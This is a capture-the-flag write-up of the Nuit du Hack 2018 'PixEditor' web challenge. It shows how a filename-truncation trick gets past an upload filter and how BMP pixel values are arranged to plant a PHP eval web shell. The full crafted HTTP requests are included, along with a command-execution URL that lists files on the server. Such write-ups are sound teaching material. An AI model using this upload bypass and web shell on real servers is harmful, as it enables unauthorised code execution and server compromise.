[CTF NDH 2018 Quals] Write-Up – Web : PixEditor

01
Apr
2018
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: / / / NDH2k18 /   /   No Comments

Write-up of the challenge “Web – PixEditor” of Nuit du Hack 2018 CTF qualifications.

The weekend of 03/31/2018 is pre-qualification for the Nuit du Hack 2018 as a Jeopardy CTF. Having had the opportunity and the time to participate with some colleagues and friends, here’s a write-up resolution of the challenges which we could participate.

  • Category: Web
  • Name: PixEditor
  • Description : Create your own pixel art with this powerful tool.
  • URL : http://pixeditor.challs.malice.fr/
  • Points : 350

This webapp can be used to draw a picture pixel per pixel and save this picture on the webserver with a selected format (JPG, BMP…).

Webapp main page :

PixEditor drawing

PixEditor drawing

By analyzing HTTP request when we save the picture, we can see that pixel-decimal values are sent through “data” POST parameter. We choose the BMP format for pure pixel-value without any compression nor transformation.

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=image.bmp&format=BMP

The name of the image (filename) is defined in POST parameter too. We tried several extension bypass like “.php”, “.php%00.bmp”, with CRLF, double-extension, nullbytes… Without any success (protection in place).

Then, we found the “/js/pixeditor.js” script link in the main HTML page. In this script, there is an interesting information about filename. They are truncated at 50 chars :

Filename truncated

Filename truncated

We can now try to put a filename of 54 char with the extension “.php.bmp”. So the last 4 chars (.bmp) will be truncated :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP

Perfect ! The “.bmp” extension is truncated and our PHP file is uploaded (with BMP content) :

http://pixeditor.challs.malice.fr/images/38db8710b841ada4658682b357c35ccdc55445016cad930d0a4da1bd1220bc13/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php

This PHP file displays our BMP content as raw :

BM66( ???????????? [...] ????????????????

We need to inject in pixel-values a valid PHP code. Our PHP payload wanted is :

<?php eval($_GET["x"]);?>

Each pixel of the picture has a value between 0 to 255 (decimal value). So we can use a pattern and check which chars of this pattern are reflected and in which order in the final picture saved. Our pattern is :

abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ

Convert this string into decimal value via online tool :

97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
Convert string to dec

Convert string to dec

Replace last pixels (0-255) with our decimal value of the pattern (keep BMP header intact) :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255 [...] 90,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,58,57,56,55,54,53,52,51,50,49,48,122,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP

The PHP-image file is saved on the server successfully. When consulted, the page display :

BM66( ???????????????YZ?UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd?????????????????

We observed a reflection of several part of our pattern, group by 3 chars and reversed. Several chars are missing.

So from the reflected pattern “UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd” we can replace their decimal values by decimal values of our payload.

Pattern reflected:
UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd

Pattern reflected decimal:
85 86 87 81 82 83 77 78 79 73 74 75 69 70 71 65 66 67 55 56 57 51 52 53 122 48 49 118 119 120 114 115 106 110 111 112 106 107 108 102 103 104 98 99 100 

Payload PHP :
<?php eval($_GET["x"]);?>

Payload PHP decimal:
60 63 112 104 112 32 101 118 97 108 40 36 95 71 69 84 91 34 120 34 93 41 59 63 62

The “U” (85) became “60” (<), “V” (86) became “63” (?) etc.

Which produce the next decimal values of pixels with our PHP payload “<?php eval($_GET[“x”]);?>” :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12395
Connection: close

data=[255,0,0,255,255 [...] 255,90,89,88,112,63,60,84,32,112,104,80,97,118,101,76,36,40,108,72,69,71,95,68,34,91,84,58,93,34,120,54,63,59,41,50,49,48,62,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.png&format=BMP

The PHP-picture with our payload injected is syntaxically valide and saved on the server. Exploit it !

http://pixeditor.challs.malice.fr/images/e1372d74008602ab0808a5c034edba071c00ecf4442b64284665357d8756430a/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php?x=system($_GET["z"]);&z=ls -la
Shell PixEditor

Shell PixEditor

File “/flag” seems interresting :

Flag PixEditor

Flag PixEditor

Bingo ! Well done Martin 😉

Greeting to the whole team ! 🙂

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.